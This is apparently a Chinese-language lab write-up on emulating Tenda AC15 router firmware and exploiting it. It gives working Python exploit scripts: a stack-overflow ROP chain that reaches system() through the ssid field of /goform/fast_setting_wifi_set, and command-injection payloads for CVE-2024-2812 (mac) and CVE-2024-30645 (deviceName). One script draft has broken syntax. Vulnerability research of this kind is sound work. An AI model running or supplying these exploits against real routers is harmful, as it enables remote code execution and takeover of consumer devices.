1、固件模拟



sudo chroot . sh
/bin/httpd

第一个问题,监听ip有问题
我们需要配置网卡
sudo brctl addbr br0
sudo ifconfig br0 192.168.100.3

这里我们设置br0网卡,启动web

成功启动,这里监听的就是我们设置的ip

这里我们可以运行这个脚本,所需要的文件都在这个路径下,我们启动脚本

这样就直接启动了一个arm的虚拟机
下一步
ip link add br0 type dummy
ifconfig eth0 192.168.100.5/24
ifconfig br0 192.168.100.6/24

我们给他添加网卡br0和eth0


我们ssh连接一下,然后启动一下httpd服务,记录一下PID,2417

驱动gdbserver,远程gdb调试
./gdbsever :1234 -attach 2417
/tmp/gdbserver)arm 192.168.0.2:1337 --attach 2417


经过了千辛万苦终于连接到了pwngdb,我们接下来查看漏洞点
from pwn import *
readable_addr = 0x76dab000 + 0x64144
jump_addr = 0x56A9C
payload = b'a'*(0x7c) + p32(jump_addr)
url = "http://192.168.100.3/goform/fast_setting_wifi_set"
cookie = {"Cookie":"password=rsvcvb"}
data = {"ssid": payload}
response = requests.post(url, cookies=cookie, data=data)
response = requests.post(url, cookies=cookie, data=data)
exp
再次分析漏洞原理
首先我们从PUSH {R4,R5,R11,LR}开栈开始入手

这里先假设sp初始值为0x1000
我们按照从右往左的顺序入栈
//SUB SP,SP,#0X270
0x270 <-sp
//ADD R11,sp,#0xc
0xff0 R4 <-sp现在位置
0xff4 R5
0xff8 R11
0xffc LR
0x1000 旧sp
所以我们第一个ADD操作,就是R4+0xc,也就是0xffc位置,也就是保存到我们LR返回地址
接着就是开栈为局部变量分配内存空间

IDA移动到该函数上面,可知s值为-0x7c,src值为-0x1c
所以上图的SUB R2,R11,#-s操作就是SUB R2=R11-0X7c
同样的LDR R3,[R11,#src]等价于LDR R3,[R11-0X1C]
关键在于payload构造
我们需要将函数返回地址覆盖,即将栈帧图中LR的数据覆盖掉的话,我们的payload给构造形式:
payload = b'a'*(0x7c) + p32(跳转地址)
但是这里因为src指针被覆盖掉,指向的内存出现问题会导致异常,所以我们拆分构造payload即可
b'a'*(0x6c) +p32(可正常访问地址,不超过64字节) + b'b'*(0x1c-4) + p32(目标跳转地址)

我们输入这个脚本,程序崩了

我们payload = b'a'* (0x60) + p32(readable_addr) + b'b'*(0x20-8)
所以,因为strcpy在遇到x00时会截断,所以这个readable_addr需要在libc库里找
因为这个库加载顺序比较靠前,所以他的程序基址会比较大,从而可读字符串的地址也会比较大,这样覆盖payload就不会因为地址里面有00被截断,我们在libc.so.0中的0x64144找到一个字符串HOME,我们用gdb调试的过程中用vmmap查看libc.so.0的基地址

我们基地址也找到了,0x76e10000,所以readable_addr地址就是0x76e10000+0x64144
再再再次构造exp
import requests
from pwn import *
libc_base = 0x76d7e000
readable_addr = libc_base + 0x64144
jump_addr = 0x56A9C
payload = b'a'*(0x60) + p32(readable_addr) + b'b'*(0x20-8) + p32(jump_addr)
url = "http://192.168.0.3/goform/fast_setting_wifi_set"
cookie = {"Cookie":"password=12345"}
data = {"ssid": payload}
response = requests.post(url, cookies=cookie, data=data)
response = requests.post(url, cookies=cookie, data=data)

这里我们的一些环境版有问题,修改脚本

看下是否跳转到我们设置的地址

我们接着往下走,看到了此时R2存储内容

这里看到了是我们存入的函数入口,然后再把函数R11压入栈。
确实跳转了,但是他跳转到了我们(readable_addr)函数位置,并且出不去了

这次我们重新尝试一遍,我们设置以下断点来查看程序进展

到了这里就无法继续下去了,这里就是向R1也就是0x766e74144地址读取字符串,就是我们中间想填充的,我们重新找下地址

这里是第一个strcpy,我们能看到R2已经存了我们的exp填入的值了,那我们就看pop能不能到我们的新的地址了,接着往第二个strcpy走

这是我们填充的值,就是字符串HOME

接着这就是第二个strcpy函数,我们关注pop能不能到我们设定的函数地址去

跳转成功了,接下来我们构造ROP链
我们找libc.so.0这里的库有没有要用的指令段

找下ROP链,我们跳转的push {fp,lr}只有一个可控的
我们需要调用system,而system所需参数是一个字符串,即一个char*类型的指针(R0)
我们想办法去找类似于MOV rEGISTER,sp的操作,最好接着直接跳到我们目标地址,然后再去构造将寄存器参数交给R0,最后调用system即可成达到RCE
根据上面的想法,还需要注意的一点是,MOV Register,sp之后如果像直接跳转到某个地址,不能说POP pc这种,因为他是栈上取数据的,而上面需要构造的MOV Regsiter,sp既要从栈上获取字符串,又要让栈上有跳转地址这种方案肯定不可取。
那么跳转指令只能考虑BLX Register这种操作,根据上面思路检索
这里我们选取0x00049c64这个地址

这里以我自己的话来讲就是,我们希望通过栈溢出和ROP来指向一个系统命令。比如system()函数,用来执行我们控制的命令

这里还有这样一段代码,就是把p
如何实现:
1、栈溢出,通过输入大量数据覆盖栈上的返回地址
2、ROP链,利用溢出的数据构造一个ROP链,让程序跳转到我们指定的地址并执行目标函数
关键步骤:
1、通过mov r0,sp设置r0:将栈指针sp的值(栈上的数据)加载到r0寄存器中,system()函数需要的参数是一个指向命令字符串的指针(即char*),我们将命令字符串放在栈上,r0就指向这个字符串
2、通过blx r3跳转到system():我们需要将r3寄存器设置为system()函数地址,blx r3会跳转到r3指向的地址并执行代码
3、找到合适的指令:我们可以使用类似于pop {r3,pc}指令,就可以从栈上提取出system()函数的地址,并跳转执行
最后的ROP链,构造system()地址的指令,执行system()通过mov,sp; blx r3;将栈指针存放命令的字符串,然后跳转到system(),执行指令
总结:MOV r0,sp:将栈上的命令字符串地址传给system()函数
BLX r3:跳转到r3寄存器存储的地址(system())
ROP链:通过站上的溢出数据来控制程序的执行,最终让程序执行我们想要的命令
1、逻辑串联起来就是选择pop {r3,lr}
这里的作用是给R3赋值然后lr存储跳转地址。R3(例如system()地址),LR会被设置为下一关跳转点,我们控制链的下一个地址
2、为了执行命令,我们需要将命令的字符串地址放入R0
设置R0为命令,我们需要将命令字符串地址放入R0寄存器中,因为在ARM中,R0是系统调用(如system的第一个参数),通过栈溢出,我们可以控制R0寄存器,将其设置为栈上存储的命令字符串地址
ROP构造:
假设我们执行/bin/sh
pop{r3,lr}
- pop {r3, lr}:
- R3 存储
system()的地址。 - LR 存储
mov r0, sp; blx r3的地址。 - mov r0, sp:
- 栈上有命令
/bin/sh,sp指向它,r0通过这条指令将其传递给system()。 - blx r3:
- 执行
system(),并执行/bin/sh。

第一个地址,选取pop链地址
ROPgadget --binary libc.so.0 --only pop
0x00018298 : pop {r3, pc} //pop地址
第二个地址,接着来找我们的几个地址,我们要找system()函数地址

0x0005A270 //system()地址
第三个地址就是我们要构造命令执行的地址,也就是MOV R0,SP;BLX R3地址,这里我们查找需要使用ROPgadget工具,然后再筛选
ROPgadget --binary libc.so.0 | grep "mov r0, sp"

我们需要自己去查找

就这样去找MOV R0,SP的地址,我们记录下来
0x00049C64 //MOV R0,SP地址
ok,我们的偏移量都找全了,接下来就是构造payload了
import requests
from pwn import *
target_ip = "192.168.100.6" //目标ip
target_port = 1234 //开放端口
libc_base = 0x76dab000 //libc库基地址
readable_addr = libc_base + 0x64144 #string 'HOME' //我们在libc库中填充字符串的地址
system_offset = 0x0005A270 //system的偏移,以libc为基地址
mov_r0_sp__blx_r3__offset = 0x00049C64 //mov_r0_sp__blx_r3__offset偏移
pop_r3_pc_offset = 0x00018298 //r3,pc偏移,pop偏移地址
cat = b'ps>proc_info.txt' //cmd执行的命令
payload = b'a' * (0x60) + p32(readable_addr) + b'b' * (0x1c-4)
payload += p32(libc_base + pop_r3_pc_offset)
payload += p32(libc_base + system_offset) +
payload +=p32(libc_base + mov_r0_sp__blx_r3__offset) + cmd
url = f"http://{target_ip}/goform/fast_setting_wifi_set"
cookie = {"cookie": "password=qpacvb"}
data = {"ssid": payload}
response = requests.post(url, cookies=cookie, data=data)
response = requests.post(url, cookies=cookie, data=data)

这里我们创建一个proc_info.txt的文件
然后执行脚本
import requests
from pwn import *
target_ip = "192.168.100.6"
target_port = 80
libc_base = 0x76dab000
readable_addr = libc_base + 0x64144 #string 'HOME'
system_offset = 0x0005A270
mov_r0_sp__blx_r3__offset = 0x00049C64
pop_r3_pc_offset = 0x00018298
cmd = b'ps>/tmp/proc_info.txt'
payload = b'a' * (0x60) + p32(readable_addr) + b'b' * (0x1c-4)
payload += p32(libc_base + pop_r3_pc_offset)
payload += p32(libc_base + system_offset)
payload += p32(libc_base + mov_r0_sp__blx_r3__offset) + cmd
url = f"http://{target_ip}/goform/fast_setting_wifi_set"
cookie = {"cookie": "password=bem5gk"}
data = {"ssid": payload}
response = requests.post(url, cookies=cookie, data=data)
response = requests.post(url, cookies=cookie, data=data)

执行完,看看结果。

结果是这样


注入点所在位置

一定要注意到这个ssid就是我们要注入的参数,也能看到我们的src是经过sub_2BA8C函数处理过的
2、CVE-2024-2812
我们先看漏洞描述,尝试自己找一下漏洞点
漏洞描述:Tenda AC15 15.03.05.18/15.03.20_multi 中发现漏洞。它已被归类为关键。
这会影响文件 /goform/WriteFacMac 的函数 formWriteFacMac。
对参数 mac 的操作会导致操作系统命令注入。可以远程发起攻击。
会影响文件/goform/WriteFacMac的函数formwriteFacMac,我们定位一下函数

成功定位到该函数,里面有一个参数a1,然后一个指针v3,我们过一遍逻辑
sub_2BA8C(a1, "mac", "00:01:02:11:22:33")
web表单参数获取函数,从HTTP请求中找mac参数,如果用户没有提交该参数,用默认值,就是第三个参数
doSystemCmd("cfm mac %s", v3);
cfm是路由器常用后台命令工具,cmf mac 00:xx:xx....会把设备出场的MAC地址直接改写,这个操作是永久性的
这个后门函数就是不需要密码,任意修改设备出产MAC包括命令执行
漏洞点应该在于没过滤就直接拼接了字符串然后执行doSystemCmd了
其实这里就可以当作一个注入漏洞来做了,拼接一下
doSystemCmd("cfm mac %s", v3);
doSystemCmd("cfm mac ";echo 1 > /tmp/proc.txt");
其实我们控制的是v3,把v3改成我们要拼接的命令即可
我们在这个函数入口下一个断点,pop位置也下一个断点

、
我们再使用pwngbd连接一下,然后打一下exp

import requests
from pwn import*
ip = "192.168.100.6"
url = "http://" + ip + "/goform/WriteFacMac"
payload = ";echo 1 > proc.txt"
data = {"mac": payload}
cookie = {"cookie": "password=bem5gk"}
response = requests.post(url, cookies=cookie,data=data)
print(response.text)

第二个也成功了
我们要确定参数一定要看函数使用方法
这个CVE的参数就在函数的使用方法中,这个就是我们要注入的参数

第三个CVE-2024-30645

我们要找注入点要看参数,这里的参数就是deviceName
我们构造exp
import requests
from pwn import*
target_ip = "192.168.100.6"
url = "http://" + target_ip + "/goform/setUsbUnload"
payload = ";echo 888 > ./webroot/666.txt"
data = {"deviceName": payload}
cookie = {"cookie": "password=zzf5gk"}
requests.post(url,cookies=cookie,data=data)
requests.post(url,cookies=cookie,data=data)
confir_url =f"http://"+ target_ip +"/666.txt"
r = requests.get(confir_url)
print(r.text)
构造exp的时候,有些细节要注意,我们这个文件路径是/goform/setUsbUnload
然后我们的注入点是deviceName,cookie要换成自己的即可
import requests
from pwn import *
target_ip = "192.168.100.6"
url = "http://" + target_ip + "/goform/setUsbUnload"
payload = ";echo 123 > ./webroot/nb666.txt"
data = {"deviceName":payload}
cookie = {"cookie": "password=zzf5gk"}
requests.post(url,cookies=cookie,data=data)
requests.post(url,cookies=cookie,data=data)
confir_url ="http://"+ target_ip + "/nb666.txt"
r = requests.get(confir_url)
print(r.text)

成功
